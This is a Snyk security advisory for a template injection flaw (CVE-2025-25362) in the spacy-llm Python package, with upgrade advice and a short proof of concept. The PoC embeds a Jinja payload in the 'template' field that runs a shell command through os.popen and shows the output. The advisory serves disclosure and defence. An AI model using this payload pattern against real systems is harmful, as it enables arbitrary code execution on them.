Template Injection Affecting spacy-llm package, versions [,0.7.3)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-SPACYLLM-9357542
  • published7 Mar 2025
  • disclosed5 Mar 2025
  • creditEdoardo Ottavianelli

Introduced: 5 Mar 2025

NewCVE-2025-25362  (opens in a new tab)
CWE-1336  (opens in a new tab)

How to fix?

Upgrade spacy-llm to version 0.7.3 or higher.

Overview

spacy-llm is an Integrating LLMs into structured NLP pipelines

Affected versions of this package are vulnerable to Template Injection via the template field. An attacker can execute arbitrary code by injecting a crafted payload.

PoC

import spacy

nlp = spacy.load("en_core_web_sm")

config = {
    "task": {
        "@llm_tasks": "spacy.Summarization.v1",
        "max_n_words": 100,
        "template": "{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}",
    },
    "model": {"@llm_models": "spacy.Dolly.v1", "name": "dolly-v2-3b"},
    "save_io": True,
}

llm = nlp.add_pipe("llm", config=config)
doc = "test"
doc = nlp(doc)
print(doc.user_data["llm_io"]["llm"]["prompt"])

# ['uid=1000(edoardottt) gid=1000(edoardottt) groups=1000(edoardottt), ...']

CVSS Base Scores

version 4.0
version 3.1